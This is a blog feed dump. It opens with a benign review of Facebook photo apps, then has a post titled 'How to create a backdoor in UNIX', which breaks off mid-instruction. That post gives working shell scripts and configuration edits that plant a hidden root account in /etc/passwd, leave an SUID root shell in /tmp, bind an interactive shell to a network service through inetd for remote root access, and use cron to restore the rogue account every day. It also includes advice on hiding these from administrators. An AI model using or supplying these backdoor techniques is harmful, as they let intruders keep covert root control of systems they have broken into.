0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;'&gt;&lt;a style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(30, 91, 126); text-decoration: none; cursor: pointer;' href='http://www.facebook.com/apps/directory.php#/apps/application.php?id=10690710153&amp;amp;ref=appd'&gt;Photo Box&lt;/a&gt;&lt;/strong&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;Photo Box is similar to Flickr. It allows you to tag your photos and share those with friends. You can also arrange them based on the topic of the photos. But perhaps the most appealing aspect of Photo Box is that it tracks how many people have viewed your images. That should give you some insight into what your friends like. Overall, Photo Box is a pretty simple app, but it's worth trying out.&lt;/p&gt;&lt;div style='border-width: 0px; margin: 8px auto; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; width: 620px;' class='cnet-image-div image-regular float-none'&gt;&lt;img width='620' height='367' style='border-style: none; margin: 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;' alt='Photo Box' src='http://i.i.com.com/cnwk.1d/i/bto/20090722/Photo_Box_on_Facebook.jpg' class='cnet-image'/&gt;&lt;p style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 15px; color: rgb(85, 85, 85);' class='image-caption'&gt;Photo Box brings Flickr-like features to Facebook.&lt;/p&gt;&lt;span style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(85, 85, 85);' class='image-credit'&gt;(Credit: Screenshot by Don Reisinger/CNET)&lt;/span&gt;&lt;/div&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;&lt;strong style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;'&gt;&lt;a style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(30, 91, 126); text-decoration: none; cursor: pointer;' href='http://www.facebook.com/apps/application.php?id=46394448355&amp;amp;ref=appd'&gt;Photo Finder&lt;/a&gt;&lt;/strong&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;Photo Finder is a neat service that, so far, is in private alpha. Instead of forcing you to talk to friends to be tagged in photos, Photo Finder does it for you. It analyzes all the photos on Facebook to see if you're in them. If so, it displays the photos and which profile they're on.&lt;/p&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;Unfortunately, Photo Finder is still a work in progress. It failed to find pictures of me or my wife even though I intentionally "untagged" images. That said, it did find a couple of pictures of my friend when I asked him to use the app. So, for right now, your mileage will vary with Photo Finder. But it's still a neat app.&lt;/p&gt;&lt;div style='border-width: 0px; margin: 8px auto; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; width: 671px;' class='cnet-image-div image-regular float-none'&gt;&lt;img width='671' height='523' style='border-style: none; margin: 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;' alt='Photo Finder' src='http://i.i.com.com/cnwk.1d/i/bto/20090722/Photo_Finder_on_Facebook.jpg' class='cnet-image'/&gt;&lt;p style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 15px; color: rgb(85, 85, 85);' class='image-caption'&gt;Photo Finder couldn't find pictures of me on Facebook.&lt;/p&gt;&lt;span style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(85, 85, 85);' class='image-credit'&gt;(Credit: Screenshot by Don Reisinger/CNET)&lt;/span&gt;&lt;/div&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;&lt;strong style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;'&gt;&lt;a style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(30, 91, 126); text-decoration: none; cursor: pointer;' href='http://www.facebook.com/apps/application.php?id=2369236887&amp;amp;ref=appd'&gt;Photo Mosaic&lt;/a&gt;&lt;/strong&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;Photo Mosaic will allow you to create an image out of all your Facebook photos. You'll need 50 photos to do that, but as long as you have them, you'll create some really neat images. I'm not too sure how useful Photo Mosaic is, though. It's a great app to have on-hand whenever you want to create a neat picture, but for the most part, it's a novelty that you probably won't find yourself using too often. Regardless, it's worth checking out.&lt;/p&gt;&lt;div style='border-width: 0px; margin: 8px auto; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; width: 620px;' class='cnet-image-div image-regular float-none'&gt;&lt;img width='620' height='196' style='border-style: none; margin: 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;' alt='Photo Mosaic' src='http://i.i.com.com/cnwk.1d/i/bto/20090722/Photo_Mosaic_on_Facebook.jpg' class='cnet-image'/&gt;&lt;p style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 15px; color: rgb(85, 85, 85);' class='image-caption'&gt;Photo Mosaic helps you create a mosaic in three steps.&lt;/p&gt;&lt;span style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(85, 85, 85);' class='image-credit'&gt;(Credit: Screenshot by Don Reisinger/CNET)&lt;/span&gt;&lt;/div&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;&lt;strong style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;'&gt;&lt;a style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(30, 91, 126); text-decoration: none; cursor: pointer;' href='http://www.facebook.com/apps/application.php?id=54690717264&amp;amp;ref=appd'&gt;Photo Stalker&lt;/a&gt;&lt;/strong&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;If it frustrates you that you can't see other users' images unless you're friends with them, Photo Stalker is for you. After installing it, the app lets you view any photo on Facebook without the user knowing it.&lt;/p&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;After using it, I wasn't too impressed by Photo Stalker. It does work and using it couldn't be easier, but the interface is suspect. I had trouble accessing profile pictures unless I had the Facebook ID used as the query. Although it worked as advertised, it was a little frustrating to use.&lt;/p&gt;&lt;div style='border-width: 0px; margin: 8px auto; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; width: 620px;' class='cnet-image-div image-regular float-none'&gt;&lt;img width='620' height='473' style='border-style: none; margin: 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;' alt='Photo Stalker' src='http://i.i.com.com/cnwk.1d/i/bto/20090722/Photo_Stalker.jpg' class='cnet-image'/&gt;&lt;p style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 15px; color: rgb(85, 85, 85);' class='image-caption'&gt;Photo Stalker lets you see photos of Facebook users you're not friends with.&lt;/p&gt;&lt;span style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(85, 85, 85);' class='image-credit'&gt;(Credit: Screenshot by Don Reisinger/CNET)&lt;/span&gt;&lt;/div&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;&lt;strong style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;'&gt;&lt;a style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(0, 59, 107); text-decoration: none; cursor: pointer;' href='http://www.facebook.com/apps/application.php?id=48310387899&amp;amp;ref=appd'&gt;Photo Surfer&lt;/a&gt;&lt;/strong&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;Photo Surfer is the best anonymous photo viewer I've used on Facebook. Unlike Photo Stalker, Photo Surfer makes it quick and easy to find the photos you're looking for.&lt;/p&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;After it's installed, all of your friends' profiles are listed. When you click on one of those profiles, you can see all their photos. If you're looking to see photos from those you aren't friends with, the app's search feature is second to none. It found everyone I searched for. It was fantastic. That said, pictures that users have set to private can't be viewed. Regardless, it's a great app that you should definitely try out.&lt;/p&gt;&lt;div style='border-width: 0px; margin: 8px auto; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; width: 620px;' class='cnet-image-div image-regular float-none'&gt;&lt;img width='620' height='435' style='border-style: none; margin: 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;' alt='Photo Surfer' src='http://i.i.com.com/cnwk.1d/i/bto/20090722/Photo_Surfer_on_Facebook.jpg' class='cnet-image'/&gt;&lt;p style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 15px; color: rgb(85, 85, 85);' class='image-caption'&gt;Photo Surfer lets you see what others' photos look like.&lt;/p&gt;&lt;span style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(85, 85, 85);' class='image-credit'&gt;(Credit: Screenshot by Don Reisinger/CNET)&lt;/span&gt;&lt;/div&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;&lt;strong style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;'&gt;&lt;a style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(30, 91, 126); text-decoration: none; cursor: pointer;' href='http://www.facebook.com/apps/application.php?id=5941073443&amp;amp;ref=appd'&gt;Private Photo Gallery&lt;/a&gt;&lt;/strong&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;Private Photo Gallery is a useful app if you don't want users to see your Facebook photos. But with so many ads, it can be quite annoying.&lt;/p&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;When you first start using Private Photo Gallery, you have to choose which friends will be allowed to see your photos. After that, the service will block photo viewing from the rest of your friends. Each day, you can allow up to 10 friends who request to see your photos access to them. After you exceed that 10-person limit, you can either choose to wait until tomorrow to accept more requests or upgrade to a premium account, which costs $5.99 per month. It allows for unlimited request acceptance, no ads, and an unlimited number of pictures you can keep private. It's expensive, but given the sheer number of ads in the free version, it might be worth it if you like this app enough. If not, stick with the free version.&lt;/p&gt;&lt;div style='border-width: 0px; margin: 8px auto; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; width: 620px;' class='cnet-image-div image-regular float-none'&gt;&lt;img width='620' height='620' style='border-style: none; margin: 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;' alt='Private Photo Gallery' src='http://i.i.com.com/cnwk.1d/i/bto/20090722/PVT_Photo_Gallery.jpg' class='cnet-image'/&gt;&lt;p style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 15px; color: rgb(85, 85, 85);' class='image-caption'&gt;Private Photo Gallery has a lot of ads.&lt;/p&gt;&lt;span style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(85, 85, 85);' class='image-credit'&gt;(Credit: Screenshot by Don Reisinger/CNET)&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=a59b8e13-651f-8f1c-b2f9-3010303e887f' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-1702005034623753004?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/1702005034623753004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=1702005034623753004' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1702005034623753004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/1702005034623753004'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/applications-for-photos-in-facebook.html' title='Applications for photos in Facebook'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-7394253368057336632</id><published>2010-02-14T10:26:00.001-08:00</published><updated>2010-02-14T10:26:30.450-08:00</updated><title type='text'>HOW TO CREATE A BACKDOOR IN UNIX</title><content type='html'>Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading&lt;br /&gt;&lt;br /&gt;now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field&lt;br /&gt;&lt;br /&gt;format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those&lt;br /&gt;&lt;br /&gt;robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If&lt;br /&gt;&lt;br /&gt;you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a&lt;br /&gt;&lt;br /&gt;nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and&lt;br /&gt;&lt;br /&gt;skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the&lt;br /&gt;&lt;br /&gt;admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time&lt;br /&gt;&lt;br /&gt;to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be&lt;br /&gt;&lt;br /&gt;looking for back doors.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The Overt&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It&lt;br /&gt;&lt;br /&gt;flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply&lt;br /&gt;&lt;br /&gt;prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;&lt;br /&gt;# Inserts a UID 0 account into the middle of the passwd file.&lt;br /&gt;&lt;br /&gt;# There is likely a way to do this in 1/2 a line of AWK or SED.   Oh well.&lt;br /&gt;&lt;br /&gt;# daemon9@netcom.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;set linecount = `wc -l /etc/passwd`&lt;br /&gt;&lt;br /&gt;cd                                       # Do this at home.&lt;br /&gt;&lt;br /&gt;cp /etc/passwd ./temppass                # Safety first.&lt;br /&gt;&lt;br /&gt;echo passwd file has $linecount[1] lines.&lt;br /&gt;&lt;br /&gt;@ linecount[1] /= 2&lt;br /&gt;&lt;br /&gt;@ linecount[1] += 1                      # we only want 2 temp files&lt;br /&gt;&lt;br /&gt;echo Creating two files, $linecount[1] lines each \(or approximately that\).&lt;br /&gt;&lt;br /&gt;split -$linecount[1] ./temppass          # passwd string optional&lt;br /&gt;&lt;br /&gt;echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" &gt;&gt; ./xaa&lt;br /&gt;&lt;br /&gt;cat ./xab &gt;&gt; ./xaa&lt;br /&gt;&lt;br /&gt;mv ./xaa /etc/passwd&lt;br /&gt;&lt;br /&gt;chmod 644 /etc/passwd                    # or whatever it was beforehand&lt;br /&gt;&lt;br /&gt;rm ./xa* ./temppass&lt;br /&gt;&lt;br /&gt;echo Done...&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;NEVER, EVER, change the root password. The reasons are obvious.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the&lt;br /&gt;&lt;br /&gt;passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second&lt;br /&gt;&lt;br /&gt;field).&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[3] Leave an SUID root shell in /tmp.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;# Everyone's favorite...&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;cp /bin/csh /tmp/.evilnaughtyshell       # Don't name it that...&lt;br /&gt;&lt;br /&gt;chmod 4755 /tmp/.evilnaughtyshell&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted&lt;br /&gt;&lt;br /&gt;to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may&lt;br /&gt;&lt;br /&gt;notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system&lt;br /&gt;&lt;br /&gt;specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;The Veiled&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some&lt;br /&gt;&lt;br /&gt;background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the&lt;br /&gt;&lt;br /&gt;appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical&lt;br /&gt;&lt;br /&gt;lines look like this:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;(1)      (2)      (3)      (4)      (5)      (6)              (7)&lt;br /&gt;&lt;br /&gt;ftp      stream   tcp      nowait   root     /usr/etc/ftpd    ftpd&lt;br /&gt;&lt;br /&gt;talk     dgram    udp      wait     root     /usr/etc/ntalkd ntalkd&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine&lt;br /&gt;&lt;br /&gt;which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.&lt;br /&gt;&lt;br /&gt;TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP&lt;br /&gt;&lt;br /&gt;or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will&lt;br /&gt;&lt;br /&gt;process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a&lt;br /&gt;&lt;br /&gt;child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more&lt;br /&gt;&lt;br /&gt;inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual&lt;br /&gt;&lt;br /&gt;command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.&lt;br /&gt;&lt;br /&gt;This is done with an 'internal' flag in fields (6) and (7).&lt;br /&gt;&lt;br /&gt;So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it&lt;br /&gt;&lt;br /&gt;with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd&lt;br /&gt;&lt;br /&gt;file, etc...&lt;br /&gt;&lt;br /&gt;For the insinuation-impaired, try this:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Open the /etc/inetd.conf in an available editor. Find the line that reads:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;daytime stream   tcp      nowait   root     internal&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;and change it to:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;daytime stream   tcp      nowait /bin/sh   sh -i.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and&lt;br /&gt;&lt;br /&gt;restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea&lt;br /&gt;&lt;br /&gt;to do this off peak hours).&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One&lt;br /&gt;&lt;br /&gt;simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in&lt;br /&gt;&lt;br /&gt;/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;(1)        (2)/(3)           (4)&lt;br /&gt;&lt;br /&gt;smtp       25/tcp            mail&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name&lt;br /&gt;&lt;br /&gt;associated with the service. For instance, add this line to /etc/services:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;evil     22/tcp           evil&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;and this line to /etc/inetd.conf:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;evil     stream   tcp      nowait   /bin/sh sh -i&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Restart inetd as before.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,&lt;br /&gt;&lt;br /&gt;they offer rentry from *any* account on *any* computer on the Internet.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's&lt;br /&gt;&lt;br /&gt;crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this&lt;br /&gt;&lt;br /&gt;backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have&lt;br /&gt;&lt;br /&gt;several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.&lt;br /&gt;&lt;br /&gt;It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,&lt;br /&gt;&lt;br /&gt;or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab&lt;br /&gt;&lt;br /&gt;entry has six fields:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;(1)      (2)      (3)      (4)      (5)      (6)&lt;br /&gt;&lt;br /&gt;0        0        *        *        1        /usr/bin/updatedb&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week&lt;br /&gt;&lt;br /&gt;(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,&lt;br /&gt;&lt;br /&gt;simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the&lt;br /&gt;&lt;br /&gt;/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not&lt;br /&gt;&lt;br /&gt;be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your&lt;br /&gt;&lt;br /&gt;shady intentions). Add this line to /var/spool/crontab/root:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;0        0        *        *        *        /usr/bin/trojancode&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;This is the shell script:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;#!/bin/csh&lt;br /&gt;&lt;br /&gt;# Is our eviluser still on the system?   Let's make sure he is.&lt;br /&gt;&lt;br /&gt;# daemon9@netcom.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;set evilflag = (`grep eviluser /etc/passwd`)&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;if($#evilflag == 0) then                         # Is he there?&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;set linecount = `wc -l /etc/passwd`&lt;br /&gt;&lt;br /&gt;cd                                       # Do this at home.&lt;br /&gt;&lt;br /&gt;cp /etc/passwd ./temppass                # Safety first.&lt;br /&gt;&lt;br /&gt;@ linecount[1] /= 2&lt;br /&gt;&lt;br /&gt;@ linecount[1] += 1                      # we only want 2 temp files&lt;br /&gt;&lt;br /&gt;split -$linecount[1] ./temppass          # passwd string optional&lt;br /&gt;&lt;br /&gt;echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" &gt;&gt; ./xaa&lt;br /&gt;&lt;br /&gt;cat ./xab &gt;&gt; ./xaa&lt;br /&gt;&lt;br /&gt;mv ./xaa /etc/passwd&lt;br /&gt;&lt;br /&gt;chmod 644 /etc/passwd                     # or whatever it was beforehand&lt;br /&gt;&lt;br /&gt;rm ./xa* ./temppass&lt;br /&gt;&lt;br /&gt;echo Done...&lt;br /&gt;&lt;br /&gt;else&lt;br /&gt;&lt;br /&gt;endif&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the&lt;br /&gt;&lt;br /&gt;/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root&lt;br /&gt;&lt;br /&gt;account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a&lt;br /&gt;&lt;br /&gt;copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).&lt;br /&gt;&lt;br /&gt;Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything&lt;br /&gt;&lt;br /&gt;would be ok. Add this line to root's crontab file:&lt;br /&gt;&lt;br 